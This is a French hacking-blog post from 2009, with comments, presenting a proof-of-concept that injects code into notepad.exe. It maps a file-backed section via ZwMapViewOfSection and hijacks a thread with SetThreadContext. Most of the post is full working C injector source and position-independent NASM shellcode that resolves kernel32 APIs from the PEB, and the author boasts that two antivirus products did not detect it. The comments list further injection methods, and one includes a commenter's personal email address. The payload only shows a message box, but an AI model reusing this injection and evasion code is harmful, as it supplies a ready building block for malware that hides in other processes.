ZwMapLolzSection ou le retour de Iinj
Par Baboon le samedi, juin 27 2009, 18:09 - Lien permanent
Salit salit salut les zigotos
En voulant faire un petit hooker d'API (dont je parlerai dans un autre post prochainement) je suis tombé sur l'API ZwMapViewOfSection exportée par ntdll (c'est l'appel a cette API qui déclenche l'envoit d'un message DLL_LOAD au debugger quand une dll est loadée)
Apres un petit peu de googlisation on voit dans la msdn que :
The ZwMapViewOfSection routine maps a view of a section into the virtual address space of a subject process.
et que cette fonction prend en parametre le handle d'un processus.
Cette API permet donc de mapper une section dans un processus, l'idée est alors d'injecter du code grâce à cette API (et donc sans utiliser le classique VirtualAllocEx et WriteProcessMemory)
En regardant un peu le code de ntdll on voit que cette fonction est quasiment toujours appelée avec le pseudo handle correspondant au processus courant sauf pour les fonctions Rtl[...]Debug[...] (à creuser d'ailleur ...)
Bizarement je n'ai pas trouvé de texte ou de code sur ce sujet (je n'ai pas vraiment cherché non plus) et je n'avais pas vraiment prévu de coder un poc.
C'est en "discutant" avec ivanlef0u (comprendre gueuler chacun de notre coté en insultant l'autre) qu'il m'a convaincu de coder un pitit poc ("ba vas y fais le alors et fais pas chier ! j'vais matter un film, si dans 2h s'pas fini je te kb à vie du chan !" [ndbaboon] ba ouai il est vulgaire ivan [/ndbaboon] )
bref j'ai donc codé dans la nuit un petit poc qui fonctionne de façon relativement simple :
- Ouverture d'un handle sur le processus et une de ses thread
- mise en pause de la thread
- récupération de son context, écriture de son EIP dans le fichier qui va être injecté
- Création d'une section à l'aide des API CreateFile et ZwCreateSection
- mapping de la section dans le processus cible grâce au handle sur le processus et à l'API ZwMapViewOfSection
- détournement du flux de code grâce à l'API SetThreadContext et reprise de l'éxecution de la thread
Il y a néanmoin quelques contraintes, le code ainsi injecté le sera dans une page sans droit d'écriture, il faut donc que le shellcode utilise des variables locales et bien sur qu'il ne soit pas dépendant de l'endroit où il est injecté (call .delta / .delta: / pop reg / sub reg , .delta est ton ami)
code de l'injecteur (ouai je sais je ferme pas tout mes handles ...) :
#include <windows.h> #include <Tlhelp32.h> #define NTSTATUS long #define STATUS_SUCCESS 0 #define ViewUnmap 2 DWORD GetProcessIdByName(char* name,PDWORD TID) { HANDLE ths = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); PROCESSENTRY32 ProcessEntry; THREADENTRY32 ThreadEntry; if (ths == INVALID_HANDLE_VALUE) { CloseHandle(ths); return -1; } ProcessEntry.dwSize = sizeof(PROCESSENTRY32); ThreadEntry.dwSize = sizeof(THREADENTRY32); Process32First(ths,&ProcessEntry); do { if (strcmp(ProcessEntry.szExeFile,name) == 0) { CloseHandle(ths); ths = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0); Thread32First(ths,&ThreadEntry); do { if (ProcessEntry.th32ProcessID == ThreadEntry.th32OwnerProcessID) { CloseHandle(ths); *TID = ThreadEntry.th32ThreadID; return ProcessEntry.th32ProcessID; } } while (Thread32Next(ths,&ThreadEntry)); CloseHandle(ths); return -1; } } while (Process32Next(ths,&ProcessEntry)); CloseHandle(ths); return -1; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { NTSTATUS (__stdcall *ZwMapViewOfSection) ( HANDLE SectionHandle, HANDLE ProcessHandle, OUT PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect ); NTSTATUS (__stdcall *ZwCreateSection)( PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, PDWORD ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL ); HANDLE hSection; HANDLE hFile; DWORD TID; DWORD PID; HANDLE hProcess; HANDLE hThread; PVOID BaseAddress = NULL; SIZE_T ViewSize = 0; CONTEXT context; DWORD nbBytesWritten; ZwMapViewOfSection = (long (__stdcall *)(HANDLE,HANDLE,PVOID *,ULONG_PTR,SIZE_T,PLARGE_INTEGER,PSIZE_T,DWORD,ULONG,ULONG))GetProcAddress(GetModuleHandleA("ntdll"),"ZwMapViewOfSection"); ZwCreateSection = (long (__stdcall *)(PHANDLE,ACCESS_MASK,PDWORD,PLARGE_INTEGER,ULONG,ULONG,HANDLE))GetProcAddress(GetModuleHandleA("ntdll"),"ZwCreateSection"); if ((! ZwMapViewOfSection) || (! ZwCreateSection)) { MessageBoxA(NULL,"GetProcAddress FAIL","ARZOOOOO",0); return 0; } if ((PID = GetProcessIdByName("notepad.exe",&TID)) == -1) { MessageBoxA(NULL,"GetProcessIdByName FAIL","ARZOOOOO",0); return 0; } if ((hThread = OpenThread(THREAD_SET_CONTEXT|THREAD_GET_CONTEXT|THREAD_SUSPEND_RESUME,FALSE,TID)) == 0) { MessageBoxA(NULL,"OpenThread FAIL","ARZOOOOO",0); return 0; } SuspendThread(hThread); context.ContextFlags = CONTEXT_FULL; GetThreadContext(hThread,&context); if ((hFile = CreateFileA("lolilol",(GENERIC_READ | GENERIC_WRITE),FILE_SHARE_READ | FILE_SHARE_WRITE , NULL, OPEN_ALWAYS,0,NULL)) == INVALID_HANDLE_VALUE) { MessageBoxA(NULL,"CreateFile FAIL","ARZOOOOO",0); return 0; } if ((!WriteFile(hFile,&context.Eip,4,&nbBytesWritten,NULL)) || (nbBytesWritten != 4)) { MessageBoxA(NULL,"WriteFile FAIL","ARZOOOOO",0); return 0; } CloseHandle(hFile); if ((hFile = CreateFileA("lolilol",0x100020,FILE_SHARE_READ | FILE_SHARE_WRITE , NULL, OPEN_ALWAYS,0,NULL)) == INVALID_HANDLE_VALUE) { MessageBoxA(NULL,"CreateFile FAIL","ARZOOOOO",0); return 0; } if (ZwCreateSection(&hSection,0xE,NULL,NULL,0x10,0x8000000,hFile) != STATUS_SUCCESS) { MessageBoxA(NULL,"ZwCreateSection FAIL","ARZOOOOO",0); return 0; } if ((hProcess = OpenProcess(PROCESS_VM_OPERATION,FALSE,PID)) == NULL) { MessageBoxA(NULL,"OpenProcess FAIL","ARZOOOOO",0); return 0; } if (ZwMapViewOfSection(hSection,hProcess,&BaseAddress,(ULONG_PTR)NULL,0,NULL,&ViewSize,ViewUnmap,0,0x10) != STATUS_SUCCESS) { MessageBoxA(NULL,"ZwMapViewOfSection FAIL","ARZOOOOO",0); return 0; } context.Eip = ((DWORD)BaseAddress) + 4; SetThreadContext(hThread,&context); ResumeThread(hThread); return 0; }
code de la payload en NASM assemblé en .bin (TRES largement pompée sur le code de Silma pour son win32.larva) :
BITS 32 OriginalEip dd 0 push edi call delta delta: pop edi sub edi, delta push DWORD [OriginalEip+edi] xchg edi , [esp] xchg edi , [esp+4] xchg edi , [esp] pushfd pushad ;--------------------------------------+---------------------------------------+ ;______________________________FIND KERNEL32 ADDRESS___________________________| ;--------------------------------------+---------------------------------------+ ; address 0x30 of the TEB contains mov ebp , esp sub esp , 3*4 %define _KernelAddr ebp-4 %define _GetProcAddress ebp-8 %define KernelType ebp-12 mov eax, [fs:30h] ; a pointer to the PEB. test eax, eax ; this pointer is signed on 9x kernel, js Kernel_9x ; and is unsigned on NT kernel. Kernel_NT: mov eax, [eax+00Ch] ; to an internal strucure called _PEB_LDR_DATA mov esi, [eax+01Ch] ; esi=InInitialisationOrderModuleList lodsd ; eax=Foward Link of kernel32 mov eax, [eax+08h] ; eax=kernel32 image_base inc byte [KernelType] ;identify the kernel type: 1=NT;0=9x jmp FindKernel32_end Kernel_9x: mov eax, [eax+034h] ; to a HeapHandle table mov eax, [eax+0B8h] ; eax=kernel32 image base and byte [KernelType],0 ;type=0 FindKernel32_end: mov dword [_KernelAddr], eax ;--------------------------------------+---------------------------------------+ ;_____________________________RETRIEVE GETPROCADDRESS__________________________| ;--------------------------------------+---------------------------------------+ mov edx, dword [_KernelAddr] ;edx=K32 image base mov eax, dword [eax+03Ch] ;eax=PE signature mov edx, dword [edx+eax+78h] ;edx=export table RVA add edx, [_KernelAddr] ;edx=export VA mov ecx, dword [edx+18h] ;ecx=number of exports (exports "by name") mov ebx, dword [edx+20h] ;ebx=name RVA add ebx, dword [_KernelAddr] ;ebx=name VA push edi FindGPA_loop: pop edi jecxz Find_GPA_end ;if ecx=0, no match so we exit dec ecx ;dec ecx till we find GPA mov esi, [ebx+ecx*4] ;esi=function name RVA add esi, dword [_KernelAddr] ;esi=function name push edi lea edi, [edi+@name] ;edi=the name we want __1: cmpsb ;cmp byte after byte jnz FindGPA_loop ;different byte means "test the previous export" cmp byte [edi], 0 ;have we reached the end of the string? je __2 ;yes: find its address jmp __1 ;no: test next bytes __2: pop edi mov ebx, [edx+024h] ;ebx=ordinal table RVA add ebx, dword [_KernelAddr] ;ebx=ordinal table VA mov cx, [ebx+ecx*2] ;cx=ordinal of GetProcAddress mov ebx, [edx + 01ch] ;ebx=address table RVA add ebx, dword [_KernelAddr] ;ebx=address table VA mov eax, [ebx+ecx*4] ;eax=GetProcAddress RVA add eax, dword [_KernelAddr] ;eax=address of GetProcAddress mov dword [_GetProcAddress],eax ;store it Find_GPA_end: lea ecx , [LoadLibStr + edi] push ecx push dword [_KernelAddr] call [_GetProcAddress] lea ecx , [User32Str + edi] push ecx call eax lea ecx , [MessageBoxStr + edi] push ecx push eax call dword [_GetProcAddress] push 0 lea ecx , [titlestr + edi] push ecx lea ecx , [mess + edi] push ecx push 0 call eax add esp , 3*4 popad popfd pop edi retn @name db "GetProcAddress",0 LoadLibStr db "LoadLibraryA",0 User32Str db "user32.dll",0 MessageBoxStr db "MessageBoxA",0 titlestr db "inject-lolz !",0 mess db "Yé souis diabolique !!!!",0
les binaires sont ICI, pour les tester il vous faut lancer notepad puis ZwMapLolzSection.exe, une zoulie pitite message box "Yé souis diabolique !!!!" devrait apparaitre
Pour finir cette technique d'injection n'a pas été détectée par Kaspersky Internet Security 2010 ni par nod32 (merci 0vercl0k[]) mais devrait l'être étant donné la simplicité de la méthode ...
J'ai un peu la flemme de dévelloper un peu plus mon post donc si vous avez des questions : mon_super_pseudo [patat-at] lyua [pouin] org ou laissez moi un pitit commentaire
Commentaires
http://rootkit.com/newsread.php?new...
Thks
je me doutais bien que quelqu'un avait déja du publier la technique ...
bizard quand même que ca n'ai pas encore été bloqué ...
(et bizard aussi que ca n'ai été publié qu'en 2008)
Bravo.
En tout cas je crois que toutes les méthodes d'injection en ring3 sont release.
Injection de code avec VirtualAllocEx / WriteProcessMemory
Injection de code avec DebugActiveProcess
Injection de code avec SetThreadContext / GetThreadContext
Injection de code avec ZwMapViewOfSection
Injection de dll avec SetWindowsHookEx
Injection de dll avec CreateRemoteThread sur LoadLibraryEx
Injection de dll avec NtQueueApcThread sur LoadLibraryEx
Injection de dll avec la clée de registre AppInit_DLLs
Le problème c'est que c'est tout hooked dans la SSDT par les firewalls / AV
Enfin j'ai encore jamais vue d'injection avec NtSystemDebugControl mais je sais pas si c'est possible. Peut être, peut être...
Salut, j'ai cherché rapidement sur ton blog mais je n'ai pas trouvé un lien contact afin de te contacté baboon. Je te laisse mon adresse mail qui est aussi mon adresse msn yannick_puigcerver@hotmail.com. J'aurais deux trois questions à te poser si tu as un peu de temps libre. Merci d'avance. Et bonne journée.